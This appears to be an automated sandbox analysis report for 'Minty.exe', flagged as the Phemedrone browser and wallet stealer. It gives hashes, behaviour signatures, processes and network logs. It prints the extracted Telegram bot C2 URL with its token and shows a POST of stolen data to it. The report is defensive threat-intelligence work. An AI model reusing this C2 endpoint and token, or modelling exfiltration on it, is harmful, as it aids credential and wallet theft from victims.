Resubmissions

18/02/2024, 15:25 UTC

240218-stk51abf4z 10

18/02/2024, 15:19 UTC

240218-sp9ykabf2v 10

18/02/2024, 14:45 UTC

240218-r46c9abc7w 10

Analysis

  • max time kernel
    63s
  • max time network
    70s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/02/2024, 15:19 UTC

General

  • Target

    Minty/Minty.exe

  • Size

    84KB

  • MD5

    6ab9efa8c00bfc58528805978f6e894a

  • SHA1

    944441a3642a47c8b40633462de5876bc3bfb648

  • SHA256

    d8604a6641d5743df9a0324f179476afe197cb63e2b94cbbce78aee2a348b5e1

  • SHA512

    97a12dd1b0cf53b707b7251cbbc1f533fb9f3f9c3244c5f195ceb994a3569c00733580e470a5c43bd811d90e14ab650548a364bd858a00d9672eb4eacb4698a3

  • SSDEEP

    1536:JD9XaiFH+UGPGTLh7CfoWKSO5T3rZ5SwEKSKK9jzpm+:JD9BH+FP+dmpS5TbZ8wEKSKK9jVr

Malware Config

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot6678158569:AAGCj_95yYZbARbtI5kniGnlVkd_CTO8lfI/sendMessage?chat_id=6303202637

Signatures

  • Phemedrone

    An information and wallet stealer written in C#.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Minty\Minty.exe
    "C:\Users\Admin\AppData\Local\Temp\Minty\Minty.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4596
  • C:\Windows\system32\wbem\WmiApSrv.exe
    C:\Windows\system32\wbem\WmiApSrv.exe
    1⤵
      PID:1700

    Network

    • flag-us
      DNS
      232.168.11.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      232.168.11.51.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      192.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      192.178.17.96.in-addr.arpa
      IN PTR
      Response
      192.178.17.96.in-addr.arpa
      IN PTR
      a96-17-178-192deploystaticakamaitechnologiescom
    • flag-us
      DNS
      81.171.91.138.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      81.171.91.138.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      ip-api.com
      Minty.exe
      Remote address:
      8.8.8.8:53
      Request
      ip-api.com
      IN A
      Response
      ip-api.com
      IN A
      208.95.112.1
    • flag-us
      GET
      http://ip-api.com/json/?fields=11827
      Minty.exe
      Remote address:
      208.95.112.1:80
      Request
      GET /json/?fields=11827 HTTP/1.1
      Host: ip-api.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Sun, 18 Feb 2024 15:19:52 GMT
      Content-Type: application/json; charset=utf-8
      Content-Length: 199
      Access-Control-Allow-Origin: *
      X-Ttl: 46
      X-Rl: 43
    • flag-us
      DNS
      1.112.95.208.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      1.112.95.208.in-addr.arpa
      IN PTR
      Response
      1.112.95.208.in-addr.arpa
      IN PTR
      ip-apicom
    • flag-us
      DNS
      138.32.126.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      138.32.126.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      58.55.71.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      58.55.71.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      api.telegram.org
      Minty.exe
      Remote address:
      8.8.8.8:53
      Request
      api.telegram.org
      IN A
      Response
      api.telegram.org
      IN A
      149.154.167.220
    • flag-nl
      POST
      https://api.telegram.org/bot6678158569:AAGCj_95yYZbARbtI5kniGnlVkd_CTO8lfI/sendDocument
      Minty.exe
      Remote address:
      149.154.167.220:443
      Request
      POST /bot6678158569:AAGCj_95yYZbARbtI5kniGnlVkd_CTO8lfI/sendDocument HTTP/1.1
      Content-Type: multipart/form-data; boundary=----------------------------8dc3095147d2cc7
      Host: api.telegram.org
      Content-Length: 432576
      Expect: 100-continue
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.18.0
      Date: Sun, 18 Feb 2024 15:20:07 GMT
      Content-Type: application/json
      Content-Length: 933
      Connection: keep-alive
      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
      Access-Control-Allow-Origin: *
      Access-Control-Allow-Methods: GET, POST, OPTIONS
      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
    • flag-us
      DNS
      220.167.154.149.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      220.167.154.149.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      149.220.183.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      149.220.183.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      157.123.68.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      157.123.68.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      18.31.95.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      18.31.95.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      217.135.221.88.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      217.135.221.88.in-addr.arpa
      IN PTR
      Response
      217.135.221.88.in-addr.arpa
      IN PTR
      a88-221-135-217deploystaticakamaitechnologiescom
    • flag-us
      DNS
      114.110.16.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      114.110.16.96.in-addr.arpa
      IN PTR
      Response
      114.110.16.96.in-addr.arpa
      IN PTR
      a96-16-110-114deploystaticakamaitechnologiescom
    • flag-us
      DNS
      0.204.248.87.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      0.204.248.87.in-addr.arpa
      IN PTR
      Response
      0.204.248.87.in-addr.arpa
      IN PTR
      https-87-248-204-0lhrllnwnet
    • 208.95.112.1:80
      http://ip-api.com/json/?fields=11827
      http
      Minty.exe
      308 B
      468 B
      5
      2

      HTTP Request

      GET http://ip-api.com/json/?fields=11827

      HTTP Response

      200
    • 149.154.167.220:443
      https://api.telegram.org/bot6678158569:AAGCj_95yYZbARbtI5kniGnlVkd_CTO8lfI/sendDocument
      tls, http
      Minty.exe
      448.8kB
      12.3kB
      368
      126

      HTTP Request

      POST https://api.telegram.org/bot6678158569:AAGCj_95yYZbARbtI5kniGnlVkd_CTO8lfI/sendDocument

      HTTP Response

      200
    • 8.8.8.8:53
      232.168.11.51.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      232.168.11.51.in-addr.arpa

    • 8.8.8.8:53
      192.178.17.96.in-addr.arpa
      dns
      72 B
      137 B
      1
      1

      DNS Request

      192.178.17.96.in-addr.arpa

    • 8.8.8.8:53
      81.171.91.138.in-addr.arpa
      dns
      72 B
      146 B
      1
      1

      DNS Request

      81.171.91.138.in-addr.arpa

    • 8.8.8.8:53
      ip-api.com
      dns
      Minty.exe
      56 B
      72 B
      1
      1

      DNS Request

      ip-api.com

      DNS Response

      208.95.112.1

    • 8.8.8.8:53
      1.112.95.208.in-addr.arpa
      dns
      71 B
      95 B
      1
      1

      DNS Request

      1.112.95.208.in-addr.arpa

    • 8.8.8.8:53
      138.32.126.40.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      138.32.126.40.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
      144 B
      1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      58.55.71.13.in-addr.arpa
      dns
      70 B
      144 B
      1
      1

      DNS Request

      58.55.71.13.in-addr.arpa

    • 8.8.8.8:53
      api.telegram.org
      dns
      Minty.exe
      62 B
      78 B
      1
      1

      DNS Request

      api.telegram.org

      DNS Response

      149.154.167.220

    • 8.8.8.8:53
      220.167.154.149.in-addr.arpa
      dns
      74 B
      167 B
      1
      1

      DNS Request

      220.167.154.149.in-addr.arpa

    • 8.8.8.8:53
      149.220.183.52.in-addr.arpa
      dns
      73 B
      147 B
      1
      1

      DNS Request

      149.220.183.52.in-addr.arpa

    • 8.8.8.8:53
      157.123.68.40.in-addr.arpa
      dns
      72 B
      146 B
      1
      1

      DNS Request

      157.123.68.40.in-addr.arpa

    • 8.8.8.8:53
      18.31.95.13.in-addr.arpa
      dns
      70 B
      144 B
      1
      1

      DNS Request

      18.31.95.13.in-addr.arpa

    • 8.8.8.8:53
      217.135.221.88.in-addr.arpa
      dns
      73 B
      139 B
      1
      1

      DNS Request

      217.135.221.88.in-addr.arpa

    • 8.8.8.8:53
      114.110.16.96.in-addr.arpa
      dns
      72 B
      137 B
      1
      1

      DNS Request

      114.110.16.96.in-addr.arpa

    • 8.8.8.8:53
      0.204.248.87.in-addr.arpa
      dns
      71 B
      116 B
      1
      1

      DNS Request

      0.204.248.87.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4596-0-0x0000000000CE0000-0x0000000000CFC000-memory.dmp

      Filesize

      112KB

    • memory/4596-1-0x00007FFC46E40000-0x00007FFC47901000-memory.dmp

      Filesize

      10.8MB

    • memory/4596-2-0x000000001BB70000-0x000000001BB80000-memory.dmp

      Filesize

      64KB

    • memory/4596-4-0x00007FFC46E40000-0x00007FFC47901000-memory.dmp

      Filesize

      10.8MB

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